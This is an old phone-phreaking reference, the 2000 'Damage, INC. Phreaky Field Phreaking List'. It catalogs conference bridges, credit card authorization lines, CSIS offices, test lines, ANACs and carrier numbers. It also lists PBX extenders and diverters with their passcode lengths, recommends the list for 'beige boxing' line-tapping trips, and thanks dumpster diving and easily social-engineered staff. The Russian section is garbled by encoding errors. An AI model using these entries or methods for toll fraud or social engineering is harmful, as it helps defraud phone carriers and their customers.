+1-800-255-5100 AT&T Teleconferencing.
+1-800-255-5500 AT&T Teleconferencing.
+1-800-369-1117 MCI Teleconferencing.
+1-800-448-2557 AT&T Teleconferencing.
+1-800-465-0025 Global Crossing SpeedLink (Conf Calls, Voicemail, Dir Assistance)
+1-800-475-4455 Conference Calling Center.
+1-800-475-6894 Quarrel Conferencing.
+1-800-525-8244 Frontier Confertech.
+1-800-544-6363 AT&T Alliance Teleconference Service.
+1-800-567-1250 Global Crossing SpeedLink.
+1-800-567-3678 Bell (Dis)Advantage Teleconference (Canada)
+1-800-569-0788 A Better Conference.
+1-800-625-5288 Teleconference Playback Center.
+1-800-667-3601 Global Crossing SpeedLink.
+1-800-668-4210 Global Crossing Frontier ConferTech.
+1-800-768-2550 Global Crossing SpeedLink.
+1-800-768-7775 Global Crossing SpeedLink.
+1-800-827-1700 Conference Call USA.
+1-800-886-2355 Frontier Teleconferencing.
+1-800-900-6338 Advantage Conferencing Services.
+1-800-925-8000 Conference America.
+1-800-933-3258 Global Crossing.
+1-800-954-2387 Frontier (Global Crossing)
+1-800-962-0044 Conf Call USA.
+1-800-CONF-CALL Smith Klein Beecham Conference Center (Sprint)
+1-800-CONFERENCE Ameritech Conference Calling.
+1-888-345-5200 Video Conferencing Center.
+
+
+-------------------------------------------------------------------------------
+ Credit Card Verification:
+-------------------------------------------------------------------------------
+
+1-800-228-1111 American Express.
+1-800-228-1122 Credit Card Verification.
+1-800-268-2530 Credit Card Verification.
+1-800-268-8281 Royal Bank Authorization Centre for Visa Cards.
+1-800-333-1337 Authorization Centre.
+1-800-336-0220 Credit Card Service Bureau.
+1-800-361-8370 National Bank Authorization Centre for Master Card.
+1-800-528-2121 American Express Card.
+1-800-555-1880 Fleet's Card Activation and PIN line.
+1-800-556-5678 Bank number to report stolen bank cards.
+1-800-561-5224 Credit Authorization Centre
+1-800-796-2355 Card Services (Visa and Mastercard)
+1-800-810-2355 Customer Service Center.
+1-800-866-5000 National Credit Center.
+1-800-925-8888 Automated Authorization Centre. (Credit Cards)
+
+
+-------------------------------------------------------------------------------
+ Canadian Security Intelligence Service (CSIS):
+-------------------------------------------------------------------------------
+
+(204) 983-5405 CSIS in Winnipeg.
+(306) 780-5512 CSIS in Saskatchewan.
+(403) 292-5255 CSIS in Calgary.
+(403) 421-5800 CSIS in Edmonton.
+(416) 865-1480 CSIS in Toronto.
+(418) 529-8926 CSIS in Quebec City.
+(506) 452-3786 CSIS in Fredericton.
+(514) 393-5600 CSIS in Montreal.
+(604) 528-7400 CSIS in British Columbia.
+(613) 993-9620 CSIS HQ in Ottawa.
+(613) 998-1679 CSIS.
+(709) 772-5449 CSIS in Newfoundland.
+(902) 420-5900 CSIS in Halifax.
+1-800-267-7685 CSIS (Ontario only)
+1-800-564-0866 CSIS (Toronto region)
+1-800-661-5780 CSIS (Alberta/Saskatchewan/Manitoba/Thunder Bay only)
+
+
+-------------------------------------------------------------------------------
+ Non-Toll Free Extenders, etc.
+-------------------------------------------------------------------------------
+
+(416) 866-8866 PBX.
+(519) 651-2000 Extender.
+(519) 651-2250 The Communications Group.
+(519) 651-2252 Extender (4 digit Client numbers and passcodes)
+(519) 654-9000 Ability Telecom extender/diverter. (4 digit passcodes)
+(519) 742-9621 Bell Canada VMS.
+(519) 846-2255 Extender. (5 digit passcode)
+(519) 846-8786 PBX (dial "9" then the number)
+(519) 895-2255 Extender. (5 digit passcode)
+(905) 337-3033 Diverter. (416/905)
+
+
+-------------------------------------------------------------------------------
+ Silent Lines, Test Lines and Strange Messages:
+-------------------------------------------------------------------------------
+
+(403) 425-0052 Gives you Info about a Bell CO in Alberta.
+(416) 690-4804 - Remote 44A (aka Bell Hut) (it's a switching center)
+(416) XXX-1185 Bell Test Lines.
+(423) 539-0001 Memorycall Access line.
+(423) 588-9909 Memorycall Access line.
+(423) 602-7811 Remote Call FWD Access.
+(514) 391-1715 Wide Area Telephone Service (WATS)
+(514) 391-4005 MDAR Trouble line.
+(514) 481-1111 1khz tone.
+(514) 481-1191 1Khz&Battery.
+(514) 673-2111 Centrex (ASA)
+(514) 786-6786 Control.
+(514) 852-8686 Cables.
+(514) 870-0200 CDE code MTL.
+(514) 870-0669 CDE code MTL.
+(514) 870-0704 CDE code MTL.
+(514) 870-1252 DMS.
+(613) 544-1111 Bell Test Line.
+(847) 823-9995 Gives several readings on the Bell CO.
+(905) 521-1185 Bell Test Line.
+(905) 851-0012 Bell Test Line.
+1-800-200-0301 Test line (loud beep)
+1-800-200-0302 Test line (loud beep)
+1-800-210-0000 Tones.
+1-800-221-0200 Siren Tones.
+1-800-225-5122 "We are sorry but this program has not started. Thank you..."
+1-800-225-5300 "We are sorry but this program has ended and no further calls..."
+1-800-225-5308 High pitched TONE.
+1-800-225-5528 TONE. "Please enter the number you are calling."
+1-800-225-5563 Ring+Silent line.
+1-800-225-5871 High Tone then Dialtone.
+1-800-265-1111 High Tone.
+1-800-266-9999 Fast Busy.
+1-800-267-6000 Fast Busy.
+1-800-270-0123 Fast Busy.
+1-800-293-4421 Fast Busy.
+1-800-321-0288 Always Busy.
+1-800-323-8126 Dialtone.
+1-800-325-4112 Short Tones + High Tone.
+1-800-356-2255 Dialtone.
+1-800-361-8313 Bell Canada. "There is no service at this number."
+1-800-369-2255 Silent line.
+1-800-424-5664 "Please check your number and dial again."
+1-800-430-7938 DMS.
+1-800-437-2206 Alphanet Telecom recording.
+1-800-437-3025 No Ring+Silent Line.
+1-800-437-8351 High Tones.
+1-800-444-1677 Siren Tones.
+1-800-454-9927 Alpha net telephone recording
+1-800-454-9929 Alpha net telephone recording
+1-800-454-9961 Fast Rings.
+1-800-455-2013 Ring + Click then Trunk Busy signal.
+1-800-455-7947 Ring then silent line.
+1-800-456-0000 Dialtone. (PBX)
+1-800-465-7735 Strange Tones.
+1-800-475-2037 Siren Tones.
+1-800-483-2276 No Ring + Trunk Busy signal.
+1-800-483-2496 Strange Tones.
+1-800-483-2655 "We're sorry, we're unable to place a call from this number."
+1-800-483-2730 High Tone.
+1-800-483-2933 Siren Tones.
+1-800-483-9774 Ring + Trunk Busy Signal.
+1-800-485-2255 Ring + Trunk Busy Signal.
+1-800-522-2255 Dialtone.
+1-800-554-8374 Always Busy.
+1-800-555-1120 "We are sorry but this program has ended and..."
+1-800-555-1220 Same message as 1-800-555-1120.
+1-800-555-1226 Siren Tones.
+1-800-555-2123 Tones.
+1-800-555-2147 Ring + Trunk Busy signal.
+1-800-555-2342 Dialtone. (PBX)
+1-800-555-3585 Dialtone. (PBX)
+1-800-555-3696 Silent line.
+1-800-555-6690 Tone.
+1-800-565-6737 High Tone.
+1-800-624-2255 "We're sorry. We're unable to place a call from this number."
+1-800-638-0156 Tones.
+1-800-647-2255 "I'm sorry. We are no longer taking calls for this project."
+1-800-745-6678 Dialtone.
+1-800-747-6678 High Tone.
+1-800-749-2355 High Tone.
+1-800-749-9975 Tone.
+1-800-786-3228 Fast Busy.
+1-800-808-8319 Weird ring "please enter your telephone number" beep.
+1-800-808-8332 No Ring + Clicking.
+1-800-808-8335 undeniably a test number of sorts...
+1-800-827-0000 "You have entered an invalid telephone number..."
+1-800-827-0011 "We're sorry, all circuits are now busy..."
+1-800-827-0036 No Ring+Click+Trunk Busy.
+1-800-827-0058 High Tone.
+1-800-827-0875 "This ATT Technologies number is not active."
+1-800-827-1227 Ring+Trunk Busy.
+1-800-827-3005 Alphanet Telecom recording.
+1-800-827-3210 NIS (Reads back 827-3210)
+1-800-827-3670 High Tones.
+1-800-827-3750 "You have dialed an invalid location."
+1-800-827-7878 "You have dialed an invalid location."
+1-800-827-9010 "We're sorry, the number you have called is an invalid number."
+1-800-827-9876 NIS (Reads back 827-9876)
+1-800-827-9890 "You have reached a number that is NIS at this time. 827-9890."
+1-800-827-9892 "You have reached a number that is NIS at this time. 827-9892."
+1-800-827-9904 "You have reached a number that is NIS at this time. 827-9904."
+1-800-848-9000 Always Busy.
+1-800-861-9905 Loud Ring+Tones then "Thank you. Please hang up now."
+1-800-862-6338 Blast of Noise. "Please enter your calling card PIN number."
+1-800-866-9317 High Tone.
+1-800-874-4000 BUSY. AT&T USA Direct Service.
+1-800-877-8000 Low Tone.
+1-800-878-3532 High Tone.
+1-800-889-4668 Ring+Silent Line.
+1-800-898-2355 Silent line.
+1-800-900-1302 Silent line.
+1-800-900-2274 Silent line.
+1-800-909-3467 Low Tone (PBX)
+1-800-909-4358 High Tone.
+1-800-909-4364 High Tone.
+1-800-925-0288 "This is not a valid number."
+1-800-925-3300 Low Tone.
+1-800-925-6620 Low Tone.
+1-800-925-8300 Rings+Silent Line.
+1-800-959-9997 "Test 1, 2, 3, 4." message.
+1-800-MCI-WORLD Always Busy.
+1-800-MTT-LOCAL Fast Busy.
+1-877-268-4272 Tones.
+1-877-382-2355 Tones.
+1-877-655-2355 Ring+Trunk Busy.
+1-877-900-EASY "You have reached an inactive number on the EasyTel network."
+1-877-922-BELL High Tone.
+1-888-374-2355 "You have entered an invalid telephone number."
+1-888-468-2355 "Due to technical difficulties we cannot record your message
+1-888-487-5346 L.E.G.O.S.
+1-888-786-6786 Control.
+1-888-871-2380 Waterloo Facilities.
+1-888-BELLCORE Always Busy.
+
+
+-------------------------------------------------------------------------------
+ FAX-Backs:
+-------------------------------------------------------------------------------
+
+1-800-222-9323 AMV FAX-Back.1-800-268-9100 Bell Canada 1-900, 976, Info Line (2,1,2,AC,NUM,#,#)
+1-800-282-2000 Phillips (1,2,6,AC,NUM,#,1,#)
+1-800-323-6586 Tandy Retail Services FAX-Back. (order Tandy docs!)
+1-800-329-7310 Bell Atlantic Investor Relations Fax-On-Demand.
+1-800-345-1518 Compaq Computer PaqFax.
+1-800-365-0696 Genecom Corporation FAX-back service. (Digital Printer Support)
+1-800-368-9673 Hewlett-Packard Information Storage Quick Fax (1,2,AC,NUM,1,2,)
+1-800-380-0030 Diamond (2,2AC,NUM,#,1,AC,NUM,#,1)
+1-800-443-1254 HP Portable Products (5,5,5,#,3,2,2,2,1#AC,NUM,#,1,#,)
+1-800-445-7736 Exabyte Fax-on-Demand (2,1)
+1-800-446-6212 Analog Fax (2,1,0,AC,NUM,1,AC,NUM,#,1)
+1-800-451-2100 Lucent Technologies Cincinnati. (get product info by FAX)
+1-800-483-2495 Central FAX on demand system. (FAX-Back)
+1-800-521-2846 Brother FAX-Back (they make fax machines and typewriters)
+1-800-522-6752 Amp Fax (1,8,90,#,#,AC,NUM,#,#,AC,NUM,#,#,#)
+1-800-525-3019 Intel (1,1,3,2,AC,NUM,1,#)
+1-800-663-0378 Toshiba Canada TossFax. (press 1)
+1-800-684-2255 Nortel Networks Fax on Demand System. (1,1,1,AC,NUM,#)
+1-800-722-4786 Sun Microsystems Service Canada (1,2,4,1,AC,NUM,#,1)
+1-800-727-3351 Micro$oft Sales FAX Service Line. (press *,1,1,AC,NUM,#,5,0)
+1-800-762-6163 3Com Fax-on-Demand.
+1-800-822-4269 Borland Tech-Fax Document Retrieval System (3,2,1,AC,NUM,#,1,3,1)
+1-800-827-3000 Elite Group (press 1 for Fax-back)
+1-800-832-4778 Western Digital Fax Access (2,1,1,1,AC,NUM,#,1,AC,NUM,#,1)
+1-800-832-6328 Ameritech Team Data Support Center (press 6,2,1,2,AC,NUM,1)
+ (pressing 6 transfers you to the Ameritech Team Data Information
+ Server which you can use to obtain telco info via FAX-Back)
+1-800-872-4786 Sun Microsystems Service United States (2,4,1,AC,NUM,#,1)
+1-800-879-8632 US West News line. (U.S. only)
+1-800-909-0261 Apple Fax.
+1-800-909-0263 3M Economic Services Fax-On-Demand System.
+1-800-909-0264 Kinkos Fax-On-Demand Service.
+1-800-909-0269 Co-merica Bank, California's Fax-On-Demand Service.
+1-800-943-8329 Integrated Device Tech (1000,1,3000,1,#,AC,NUM#,1,#)
+1-800-FAX-SUNW Sun Fax-Back.
+1-800-IBM-4FAX IBM FAX Information Service. (3,1,0,1,1,1,AC,NUM,#,1,1)
+1-800-SKY-USER SkyTel Customer Service. (press 3 for FAX on demand for docs)
+1-888-322-8444 Hartford Shareholders News & Info FAX-Back (3,1,AC,NUM)
+
+
+-------------------------------------------------------------------------------
+ Yellow Pages:
+-------------------------------------------------------------------------------
+
+(519) 579-2252 Baka Communications. (Bell Mobility Dealer)
+(519) 654-2211 Bestel Message Centre Ltd. (Paging Services)
+(519) 679-8333 Bell. (London Office)
+(519) 679-8460 Bell. (London Office)
+(519) 725-2570 Bell Mobility Baca.
+(519) 744-7781 Bell Mobility Centre (Highland Hills Mall)
+(519) 745-3900 Bestel Message Centre Ltd. (Full Messaging, Voice Mail, Paging)
+(519) 893-8777 Bell World.
+(519) 894-2211 Bell Mobility Cellular Plus Centre.
+1-800-311-WORK Bell Canada.
+1-800-268-1711 Baka Communications Inc. (Toronto and Mississauga)
+1-800-387-7243 (1-800-387-PAGE) Bell Mobility Paging.
+1-800-917-1917 Bell Canada's Advantage Call Centre Solutions.
+
+(519) 888-9660 Cantel AT&T Store (Connestoga Mall)
+(519) 893-1811 Cantel AT&T Automated Self-Service System.
+1-800-268-1087 Cantel AT&T Paging Customer Service.
+1-888-353-4726 (1-88-TELEGRAM) AT&T Canada. (Send a Telegram Worldwide)
+
+(519) 741-5990 London Telecom Network.
+(519) 743-3602 Extend Communications Inc. (Pagers, Voice Mail Boxes, etc.)
+(519) 748-3200 Rogers Cablesystems General Enquiries.
+(519) 749-2434 Clearnet Business Communications Centre. (Paging, PCS, etc.)
+(519) 893-2310 Rogers Technical Assistance.
+(519) 893-4400 Rogers Community Programming.
+(519) 896-7600 Ericsson Communications Canada Inc.
+(905) 561-5443 Digital Mobile Systems Inc.
+
+1-800-216-0888 PageNet.
+1-800-263-4824 Digital Mobile. (Authorized Motorola Dealer)
+1-800-265-8725 Shaw Paging.
+1-800-270-8220 SOS 2000. (Government Canada line that lists businesses which
+ offer Year 2000 expertise and services)
+1-800-453-6835 (1-800-GLENTEL) Glentel Inc. Mobile Satellites.
+1-800-838-0298 MRC Systems Inc.
+1-888-253-2763 (1-888-CLEARNET) Clearnet Customer Service.
+1-888-474-3486 Iridium Canada. (Voice, Data, FAX & Paging Services)
+
+
+Internet:
+
+(519) 570-2121 GO INTERNET CAFE.
+(519) 651-3400 Sentex Communications.
+(519) 885-0211 BondNet Internet Services Inc. (Cisco Systems Reseller, Lucent
+ Technologies Agent)
+1-800-263-8433 Burlington Network Services.
+1-800-668-2857 Wightman Telecommunications. (ISP)
+1-800-773-4638 Globalserve Internet.
+1-888-298-3447 Netcom Canada.
+1-888-4-SENTEX Sentex Communications.
+1-888-6-NEWNET New Net Technologies Group.
+
+
+Cable:
+
+1-800-267-1919 CaTech Systems LTD.
+1-800-400-4954 Cablecom International.
+1-877-342-3726 Fiber Core Communications.
+1-877-652-0088 First Call Locate Service.
+
+
+Telephone Companies:
+
+(519) 651-2000 A-TEL Communications. (Press "9" to dial out)
+(519) 651-2250 A-TEL Communications.
+(519) 744-4455 A Telephone Man. (listed under Telephone Companies)
+(519) 744-9640 A + Tel Inc.
+(519) 745-0856 Telnet Communications.
+(519) 746-3357 Sprint Canada Inc.
+
+
+Telephone Directories:
+
+(519) 571-7700 Bell ActiMedia.
+(519) 658-2001 Kitchener-Waterloo Talking Yellow Pages. (Gives local time &
+ temperature)
+
+
+Telephone Equipment:
+
+(519) 570-0885 WilTel.
+(519) 570-1320 Greb Tele-Data Inc. (Authorized Sprint Canada Sales & Service)
+(519) 570-3609 Brant Telephone. (Authorized AT&T Canada and Lucent Technologies
+ Dealer. Long Distance and Conferencing Services)
+(519) 650-2000 City-Com Communications (Golden Triangle) Inc.
+(519) 654-2000 Regional Telecom.
+(519) 654-2003 Intelicom Systems.
+(519) 658-4588 Instatel Communications
+(519) 741-9262 Barrett B J Communications.
+(519) 744-6500 Tele-Connect.
+(519) 747-3333 PhoneMaster. (Authorized Sprint Dealer)
+(519) 748-1177 J&D Systems Inc. (Nortel Networks Authorized Distributor)
+(519) 748-2228 Telefficiency. (Authorized Nortel, Meridian, etc. Distributor)
+(519) 748-5832 Delphi Solutions. (Authorized Sprint Canada Agent)
+(519) 883-4109 Exceltech. (Telephone equipment services)
+1-800-932-9443 J P Cable Installations Ltd. (Authorized Bell Agent)
+1-888-276-1604 Telecom-Tech.
+1-888-7-DELPHI Delphi Solutions Customer Service.
+
+
+Long Distance:
+
+(519) 220-1120 Ability Telecom. (Flat Rate Long Distance)
+(519) 576-7077 Distributel Communications Ltd. (Flat Rate Long Distance)
+(519) 651-2250 Fone Pass (formerly Ad-Tel Communications)
+(519) 654-9614 Ontel Long Distance (Flat Rate, Worldwide Long Distance)
+1-800-670-2266 AT&T Canada Long Distance.
+1-800-700-0017 Glentel Inc. (Long Distance)
+1-888-266-1313 WinTel Communications. (Long Distance)
+1-888-676-7777 Bell Canada (Dis)Advantage Optimum savings program.
+1-888-824-1032 Telelink Canada. (Flat Rate Long Distance)
+
+
+Toronto and Mississauga:
+
+(416) 240-4955 Rogers AT&T Wireless.
+(416) 242-4242 The Canadian Telephone Company.
+(416) 255-8000 Watts Communications Ltd.
+(416) 292-1010 Toronto Talking Yellow Pages. (local time and temperature)
+(416) 345-2770 AT&T Canada Telecommunications Solutions Sales Dept.
+(416) 350-1000 Bell Nexxia.
+(416) 360-2307 Deutsche Telekom Canada.
+(416) 366-FIDO Fido. (Wireless Communications)
+(416) 368-0002 Sun Microsystems Sales Office.
+(416) 393-3500 TTC Time. (reports EST every 10 seconds)
+(416) 412-5000 Bell ActiMedia.
+(416) 412-5100 Yellow Pages Info Direct.
+(416) 412-5200 Yellow Pages Assistance.
+(416) 412-5400 Bell ActiMedia Directory Ordering and Sales.
+(416) 412-5600 Bell ActiMedia Directory Delivery Department.
+(416) 412-5999 Bell ActiMedia Customer Service.
+(416) 425-4500 1st Canadian Telecom. (Toronto Headquarters)
+(416) 533-7670 The Local Telephone Company Limited.
+(416) 581-0000 Lotus Development Canada.
+(416) 590-0202 Bell World.
+(416) 601-1200 Metro Access.
+(416) 620-2420 Bell ActiMedia.
+(416) 674-2233 Bell Mobility.
+(416) 733-4032 Telesat Canada. (Satellite Communications)
+(416) 756-4900 Nortel Control Center.
+(416) 767-7778 The Local Telephone Company Limited.
+(416) 777-2600 London Telecom Network.
+(416) 777-2881 WinTel Communications.
+(416) 860-1828 Hong Kong Telecom Canada.
+(416) 862-0705 MCI WorldCom.
+(416) 862-1717 Bell Canada Repair.
+(416) 924-9511 Distributel Communications Limited.
+(905) 238-2349 Panasonic Canada, Inc. Telecommunications.
+(905) 264-5560 SCO Canada.
+(905) 470-3456 Toshiba Canada. (Markham, ON)
+(905) 470-3478 Toshiba Canada.
+(905) 477-3047 Telesonic Communications Prepaid Calling Cards.
+(905) 477-4344 Borland Canada.
+(905) 477-6745 Sun Microsystems of Canada. (Head Office in Markham, ON)
+(905) 542-3977 Entourage Technology Solutions. (Authorized Bell Distributor)
+(905) 602-5454 Fujitsu Canada.
+(905) 629-5000 Centel Communications. (Authorized Nortel Dealer)
+(905) 669-8107 Maxxell Canada.
+(905) 676-6700 Computer Associates. (Mississauga Office)
+(905) 712-4242 Williams Telecommunications Corp.
+(905) 795-1111 Canon Canada.
+(905) 890-2355 Motorola Cellular.
+(905) 890-8100 Oracle Corporation Canada.
+(905) 946-0928 Autodesk Canada.
+1-800-263-9217 Bell Business Repair.
+1-800-268-9322 Bell Voice Message Center.
+1-800-287-9334 Canadian Operator Services (Canadian Payphone Corp.)
+1-800-465-6887 Lotus Development Corp. Canada.
+1-800-519-1900 Corporate Image Marketing. (Toll free vanity numbers)
+1-800-827-4890 Globo Communications. (Spanish)
+1-877-249-2782 CRTC Client Services.
+1-877-666-7297 Canada Payphone Collect Call Services.
+
+
+-------------------------------------------------------------------------------
+ International Numbers:
+-------------------------------------------------------------------------------
+
+Argentina:
+
+115 Ringback.
+5702 ANAC.
+
+Argentina Country Direct:
+
+0800-5-4900 Alemania
+0800-2-3200 B‚lgica
+0800-5-5500 Brasil
+0800-2-1004 Canada
+0800-5-5601 Chile (ENTEL)
+0800-5-5603 Chile (VTR)
+0800-2-5604 Chile (SAT)
+0800-5-5700 Colombia
+0800-2-4500 Dinamarca
+0800-2-1001 EE.UU. (AT&T)
+0800-5-1002 EE.UU. (MCI)
+0800-5-1003 EE.UU. (SPRINT)
+0800-2-3400 Espa¤a
+0800-5-3300 Francia
+0800-2-3030 Grecia
+0800-2-3100 Holanda
+0800-2-1809 Is. V¡rgenes
+0800-5-3900 Italia
+0800-5-3901 Italia (Tarj. Prepaga)
+0800-5-3902 Italia (Tarj. Cr‚dito)
+0800-2-8100 Jap¢n (KDD)
+0800-2-0505 Nicaragua
+0800-2-4700 Noruega
+0800-5-5950 Paraguay
+0800-2-5100 Per£
+0800-5-3510 Portugal
+0800-5-4401 Reino Unido (BT)
+0800-2-4400 Reino Unido (MERCURY)
+0800-5-2809 Rep. Dominicana
+0800-5-6500 Singapur
+0800-2-4100 Suiza
+0800-5-5980 Uruguay
+0800-2-5800 Venezuela
+
+
+Russia:
+
+AT&T Numbers:
+
++7 095 9740074 AT&T Tone System (Moscow HQ)
++7 095 7555042 AT&T operator. (English)
++7 095 1555042 AT&T Automated Calling System.
++7 095 7555555 AT&T operator. (Russian)
+
+Free 800 Services. Moscow Numbers:
+
+7473320 MCI Operators in California. (Russian)
+7473322 Connects to Customer Service in Russian. (English)
+7473321 AT&T Operators (New York)
+7473324 Sprint Global, Arizona, USA
+7473325 Orua, Canada
+7473327 National Calling Center, UK
+7473329 Japan service
+7473356 Sprint Calling Cards.
+7473359 France service
+7473361 Italian service
+7473363 Chili service
+
+National Russian Numbers:
+
+8-10 800 4977211 ‘˜€ (AT&T)
+8-10 800 4977222 ‘˜€ (MCI)
+8-10 800 4977255 ‘˜€ (Sprint)
+8-10 800 4977220 ‘˜€ (MCI àãá᪮ï§ëç ï á«ã¦¡ )
+8-10 800 4977233 Š ¤ (Teleglobe)
+8-10 800 4977266 ‚¥«¨ª®¡à¨â ¨ï (BT)
+8-10 800 4977277 ‚¥«¨ª®¡à¨â ¨ï (Mercuri)
+8-10 800 4977288 ‚¥£à¨ï
+8-10 800 4977181 Ÿ¯®¨ï (KDD)
+8-10 800 4974358 ”¨«ï¤¨ï( Telecom Finland)
+8-10 800 4977032 ¥«ì£¨ï (Belgacom calling cards)
+8-10 800 4977212 ¥«ì£¨ï (Belgacom operator)
+8-10 800 4977039 ˆâ «¨ï (Iritel)
+8-10 800 4977353 ˆà« ¤¨ï (Telecom Ireland)
+8-10 800 4977156 ѬǬ
+8-10 800 4977165 ‘¨£ ¯ãà
+8-10 800 4977141 ˜¢¥©æ à¨ï.
+
+
+South Africa:
+
+101999 Toll Free ANAC.
+
+
+United Kingdom:
+
+100 Operator
+175 National test number. (ANAC)
+999 Emergency
+1234 Talking Clock
+192 Directory Enquiries (ie. give name/address, get phone number)
+
++44 (0)171 930 4832 Buckingham Palace, London
+
+0800 100100 Operator/BT Sales
+0800 321999 BT Security
+0800 696969 HeatBusters, Gas Appliances
+0800 89xxxx International Freephone (toll-free, but terminate overseas)
+
+UK Country Direct:
+
+0800 890011 USA Direct AT&T
+0800 890016 Canada Direct
+0800 890027 South Africa Direct
+0800 890031 Netherlands Direct
+0800 890032 Belgium Direct
+0800 890033 France Direct
+0800 890034 Spain Direct
+0800 890036 Hungary Direct
+0800 890038 Yugoslavia Direct
+0800 890039 Italy Direct
+0800 890042 Czechoslovakia Direct
+0800 890043 Austria Direct
+0800 890045 Denmark Direct
+0800 890046 Sweden Direct
+0800 890047 Norway Direct
+0800 890049 Germany Direct
+0800 890055 Brazil Direct
+0800 890056 Chile Direct
+0800 890061 Australia Direct
+0800 890064 New Zealand Direct
+0800 890065 Singapore Direct
+0800 890066 Thailand Direct
+0800 890081 Japan Direct
+0800 890082 Korea Direct
+0800 890123 Bermuda Direct
+0800 890212 Morocco Direct
+0800 890222 USA Direct MCI
+0800 890351 Portugal Direct
+0800 890353 Eire Direct
+0800 890357 Cyprus Direct
+0800 890358 Finland Direct
+0800 890808 Hawaii Direct
+0800 890852 Hong Kong Direct
+0800 890877 USA Direct Sprint
+0800 890909 BT International
+0800 893300 Engineering test line, Hungary
+0800 894278 Microtest
+0800 894382 Novell Support: DOS7 & Personal Netware
+0800 896980 J C Penney USA retailer
+0800 897120 Quarterdeck UK
+0800 897121 Holiday Inn
+0800 897125 Phoenix Datacom
+0800 898563 Iomega
+0800 898604 Piste Artiste
+0800 898888 Sun Express (Netherlands)
+0800 899002 National Pen, Manchester
+0800 899688 Sprint/Travelex pre-paid phone cards
+
+Voyager's alt.2600/#Hack FAQ also contains international test numbers that are
+not included in this list.
+
+
+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+
+Final Notes:
+
+If you'd like to contribute to the Damage, INC. Phreaky Field Phreaking List,
+discover any dupes, numbers that are no longer in service or ones that have
+been misidentified, please notify us in Email at damage_inc@disinfo.net and
+report the error. This list is updated and released on a quarterly basis.
+So, if you send numbers your alias will be included in the next edition.
+Contributions are encouraged and always appreciated.
+
+Thanks go out to the following people (in no particular order) for their
+contributions to this list. It's a large, ongoing project that wouldn't exist
+without their support, and we appreciate the efforts that they've made towards
+this compilation of numbers. If you contributed in some way but were neglected
+to be mentioned, contact Damage, INC. and notify us about the oversight.
+
+Contributors/Greets:
+
+THC Phreak, BLACKENED, Shatazar, Helena3, Breaker, x25lurker, Tobias, Nevada,
+Fringe, , Syko416, Lord Narayana, 1dot1, Overflow Trap, Fatal Vision,
+Voyageur514, Silent Sentry, L00pster5, Phearless One, The Clone, Loud Ton3y,
+Cultist, The Pusher, Gerfalcon, Jackal, Anarchist613, Betsi, RedBoxChiliPepper,
+Logic Box, hevnsnt, Aftermath, Goldeneye, Jester, The Hitman, radigan, KingPiN,
+tOrnak, Hollywood Vampire, Err418, Mister T, InfestDead, Toxic Twin, Snake Eyes,
+not_in_service, Wrathchild, 1ns4n3 Pr3d4t0r,ÿDevilinDisguise, Aneurysm (204),
+Hollow Point, Metabolis, Phractal, absolut zero (416), The Anchorite, Vortex,
+La Jolla, aeon, Charles Forbin, Telco Terminus, BiohazzardTen, zxyx, Rev-Eng,
+Dark Tangent, Jack Phlash, Cyb0rg/ASM, dea)(alm, , roamer1, The Exec,
+C5man, Schizophreakic, The Propagandist, XORo, Crazy Horse, Di4BoLiK SLiM,
+Mogel.
+
+Greets to all of the telco employees that know us and converse with us in a
+polite, friendly, intelligent manner. To the few telcos that still have toll
+free numbers with an ANAC, thanks for not removing that important feature.
+
+Special Thanks to:
+
+All of the places that have easily accessible, unshreded documents, manuals, and
+lists of numbers in clean, unmonitored, unlocked, dumpsters.
+
+All of the people that've been so generous as to readily divulge information
+while I was scanning and dialed their number.
+
+Lax security and people that are easily social engineered.
+
+All webmasters of quality phreaking/telephony related sites.
+
+Minor Threat and Mucho Maas for ToneLoc.
+
+Scavenger for Scavenger-Dialer.
+
+Everyone else that ever created any useful scan/phreak utilities, or wrote
+informative text files on phreaking.
+
+Voyager (TNO) for creating and maintaining the alt.2600/#Hack FAQ.
+
+Cult of the Dead Cow (cDc) for providing us with interesting, entertaining
+reading material, to peruse through while scanning all these years. Some of
+their phreak related t-files also helped inspire us to create the Phreaky Field
+NPA Reference, etc. And of course, they've influenced us in other positive
+ways as well.
+
+Hack Canada for supporting the Canadian hack/phreak scene.
+
+RedBoxChiliPepper (Phone Losers of America) for the PLA Telephone Director0y.
+It was an inspiration to us. :)
+
+It was created, scanned, compiled, verified and distributed by phreaks, for
+phreaks. And in addition to that, it's damn phreaky. Have phun... and look
+for more releases courtesy of Damage, INC. and Blamerica Phreaky Industries.
+
+- Blackie Lawless
+
+ Copyright 2000 by Damage, INC. All Rights Reserved.
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+ _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _
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+======================== "The name speaks for itself!" ========================
+
+ Phreaky Field Phreaking List.
+ ú Winter 2000 Edition ú
+ (Released: 02/27/00)
+
+ http://surf.to/damage_inc
+ damage_inc@disinfo.net
+===============================================================================
+
+Introduction:
+
+This is the fourth edition of the Damage, INC. Phreaky Field Phreaking List. We
+recommend that you print it out and take it with you on beige boxing/junction
+boxing expeditions or for use as a reference while at payphones. Hell, just
+take it with you wherever you travel. You never know when you're going to need
+it. :) This comprehensive list includes many toll free numbers for telcos,
+test numbers, conferences, computer companies, carriers, cellular, and other
+services, etc. It's not just damn phreaky, it's the phreakiest!
+
+Disclaimer:
+
+The Damage, INC. Phreaky Field Phreaking List is for informational purposes
+only. We are not responsible for how it is used, including but not restricted
+to any fraudulent, illegal acts that may be committed, unauthorized access of
+systems, loss/theft of services or any damages that may be caused as a result
+of someone else's activities. If/how you use these numbers is entirely your
+choice. In summary, you're legally responsible for your own deeds and actions.
+Now that the legal shit has been thoroughly covered, here's what you have all
+been waiting for... :)
+
+-------------------------------------------------------------------------------
+ ANACs/ANIs and Ringbacks:
+-------------------------------------------------------------------------------
+
+(514) 320-0047 Slow ANAC for Montreal, Quebec.
+(514) 320-1147 Fast ANAC for Montreal, Quebec.
+(519) 748-3220 Viewer's Choice order line for Kitchener. (press 1 for ANI)
+(613) 320-2232 ANI for Ottawa, Ontario.
+(954) 780-2411 ANI for Fort Lauderdale, Florida.
+
+1-800-222-6000 eVoice by Nokia. Press "8,06" for ANI. (also gives date/time)
+1-800-346-0152 ANI.
+1-800-42562563 (1-800-4-BLOCKME) VRS Billing Systems and IntegriTel offers
+ free 1-800 blocking and ANAC.
+1-800-487-9240 ANI (doesn't work from 519)
+1-800-514-9939 ANI (doesn't work from 416/519)
+1-800-532-7486 AT&T Inquiries (Press "1,1" for ANI)
